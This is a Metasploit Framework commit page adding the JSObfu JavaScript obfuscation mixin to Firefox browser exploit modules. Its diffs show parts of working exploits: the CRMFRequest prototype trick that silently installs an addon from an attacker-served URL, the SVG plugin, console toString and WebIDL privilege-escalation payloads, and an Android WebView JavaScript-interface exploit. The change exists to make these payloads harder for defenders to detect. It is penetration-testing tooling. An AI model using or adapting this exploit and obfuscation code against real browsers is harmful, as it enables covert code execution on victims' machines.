Skip to content

Commit 9e5826c

Browse files
committed
Land rapid7#3844 - Add the JSObfu mixin to Firefox exploits
2 parents ababc3d + 2b02174 commit 9e5826c

File tree

21 files changed

+94
-61
lines changed

21 files changed

+94
-61
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ PATH
55
actionpack (< 4.0.0)
66
activesupport (>= 3.0.0, < 4.0.0)
77
bcrypt
8-
jsobfu (~> 0.1.7)
8+
jsobfu (~> 0.2.0)
99
json
1010
metasploit-concern (~> 0.2.1)
1111
metasploit-model (~> 0.27.1)
@@ -91,7 +91,7 @@ GEM
9191
hike (1.2.3)
9292
i18n (0.6.11)
9393
journey (1.0.4)
94-
jsobfu (0.1.7)
94+
jsobfu (0.2.0)
9595
rkelly-remix (= 0.0.6)
9696
json (1.8.1)
9797
mail (2.5.4)

lib/msf/core/exploit/android.rb

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ module Exploit::Android
2020

2121
def add_javascript_interface_exploit_js(arch)
2222
stagename = Rex::Text.rand_text_alpha(5)
23-
script = %Q|
23+
%Q|
2424
function exec(runtime, cmdArr) {
2525
var ch = 0;
2626
var output = '';
@@ -84,9 +84,6 @@ def add_javascript_interface_exploit_js(arch)
8484
8585
for (i in top) { if (attemptExploit(top[i]) === true) break; }
8686
|
87-
88-
# remove comments and empty lines
89-
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
9087
end
9188

9289

lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,24 @@
77
#
88
###
99

10+
require 'msf/core/exploit/jsobfu'
11+
1012
module Msf
1113
module Exploit::Remote::FirefoxPrivilegeEscalation
1214

15+
# automatically obfuscate anything that runs through `js_exec`
16+
include Msf::Exploit::JSObfu
17+
1318
# Sends the +js+ code to the remote session, which executes it in Firefox's
14-
# privileged javascript context
19+
# privileged javascript context. The code will be obfuscated if the JsObfuscate
20+
# datastore option is set to 1 or higher.
21+
#
1522
# @return [String] the results that were sent back. This can be achieved through
1623
# calling the "send" function, or by just returning the value in +js+
1724
def js_exec(js, timeout=30)
1825
print_status "Running the privileged javascript..."
1926
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
27+
js = js_obfuscate(js)
2028
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
2129
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
2230
end

lib/msf/core/payload/firefox.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,13 @@
11
# -*- coding: binary -*-
22
require 'msf/core'
3+
require 'msf/core/exploit/jsobfu'
34
require 'json'
45

56
module Msf::Payload::Firefox
67

8+
# automatically obfuscate every Firefox payload
9+
include Msf::Exploit::JSObfu
10+
711
# Javascript source code of setTimeout(fn, delay)
812
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
913
def set_timeout_source
@@ -121,14 +125,15 @@ def run_cmd_source
121125
var retVal = null;
122126
123127
try {
124-
retVal = Function('send', js[1])(function(r){
128+
this.send = function(r){
125129
if (sent) return;
126130
sent = true;
127131
if (r) {
128132
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
129133
else cb(false, r+tag+"\\n");
130134
}
131-
});
135+
};
136+
retVal = Function(js[1]).call(this);
132137
} catch (e) { retVal = e.message; }
133138
134139
sync = false;

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ Gem::Specification.new do |spec|
5656
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
5757
spec.add_runtime_dependency 'bcrypt'
5858
# Needed for Javascript obfuscation
59-
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7'
59+
spec.add_runtime_dependency 'jsobfu', '~> 0.2.0'
6060
# Needed for some admin modules (scrutinizer_add_user.rb)
6161
spec.add_runtime_dependency 'json'
6262
# Metasploit::Concern hooks

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,8 @@ def initialize(info = {})
7474
:os_flavor => 'Android'
7575
}
7676
))
77+
78+
deregister_options('JsObfuscate')
7779
end
7880

7981
# Hooked to prevent BrowserExploitServer from attempting to do JS detection

modules/exploits/multi/browser/firefox_proto_crmfrequest.rb

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -79,21 +79,7 @@ def generate_html(target_info)
7979
"p2.constructor.defineProperty(obj,key,{get:runme});"
8080
end
8181

82-
%Q|
83-
<html>
84-
<body>
85-
#{datastore['CONTENT']}
86-
<div id='payload' style='display:none'>
87-
if (!window.done) {
88-
window.AddonManager.getInstallForURL(
89-
'#{get_module_uri}/addon.xpi',
90-
function(install) { install.install() },
91-
'application/x-xpinstall'
92-
);
93-
window.done = true;
94-
}
95-
</div>
96-
<script>
82+
script = js_obfuscate %Q|
9783
try{InstallTrigger.install(0)}catch(e){p=e;};
9884
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
9985
p2.__exposedProps__={
@@ -116,6 +102,28 @@ def generate_html(target_info)
116102
};
117103
for (var i in window) register(window, i);
118104
for (var i in document) register(document, i);
105+
|
106+
107+
js_payload = js_obfuscate %Q|
108+
if (!window.done) {
109+
window.AddonManager.getInstallForURL(
110+
'#{get_module_uri}/addon.xpi',
111+
function(install) { install.install() },
112+
'application/x-xpinstall'
113+
);
114+
window.done = true;
115+
}
116+
|
117+
118+
%Q|
119+
<html>
120+
<body>
121+
#{datastore['CONTENT']}
122+
<div id='payload' style='display:none'>
123+
#{js_payload}
124+
</div>
125+
<script>
126+
#{script}
119127
</script>
120128
</body>
121129
</html>

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 22 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -129,24 +129,7 @@ def generate_html(cli, target)
129129
:loader_path => "#{get_module_uri}.swf",
130130
:content => self.datastore['CONTENT'] || ''
131131
}
132-
%Q|
133-
<!doctype html>
134-
<html>
135-
<head>
136-
<base href="chrome://browser/content/">
137-
</head>
138-
<body>
139-
140-
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
141-
<symbol id="#{vars[:symbol_id]}">
142-
<foreignObject>
143-
<object></object>
144-
</foreignObject>
145-
</symbol>
146-
<use />
147-
</svg>
148-
149-
<script>
132+
script = js_obfuscate %Q|
150133
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
151134
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
152135
function $() {
@@ -169,6 +152,27 @@ def generate_html(cli, target)
169152
document.querySelector('use').setAttributeNS(
170153
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
171154
);
155+
|
156+
157+
%Q|
158+
<!doctype html>
159+
<html>
160+
<head>
161+
<base href="chrome://browser/content/">
162+
</head>
163+
<body>
164+
165+
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
166+
<symbol id="#{vars[:symbol_id]}">
167+
<foreignObject>
168+
<object></object>
169+
</foreignObject>
170+
</symbol>
171+
<use />
172+
</svg>
173+
174+
<script>
175+
#{script}
172176
</script>
173177
174178
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def generate_html(target_info)
7474
key = Rex::Text.rand_text_alpha(5 + rand(12))
7575
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
7676

77-
js = Rex::Exploitation::JSObfu.new(%Q|
77+
js = js_obfuscate %Q|
7878
var opts = #{JSON.unparse(opts)};
7979
var key = opts['#{key}'];
8080
var y = {}, q = false;
@@ -85,9 +85,7 @@ def generate_html(target_info)
8585
return 5;
8686
};
8787
console.time(y);
88-
|)
89-
90-
js.obfuscate
88+
|
9189

9290
%Q|
9391
<!doctype html>

modules/exploits/multi/browser/firefox_webidl_injection.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def generate_html(target_info)
7979
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
8080
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
8181

82-
js = Rex::Exploitation::JSObfu.new(%Q|
82+
js = js_obfuscate %Q|
8383
var opts = #{JSON.unparse(opts)};
8484
var key = opts['#{key}'];
8585
@@ -127,10 +127,7 @@ def generate_html(target_info)
127127
setTimeout(function(){top.vvv.close();}, 100);
128128
}, 10);
129129
}
130-
131-
|)
132-
133-
js.obfuscate
130+
|
134131

135132
%Q|
136133
<!doctype html>

0 commit comments

Comments
 (0)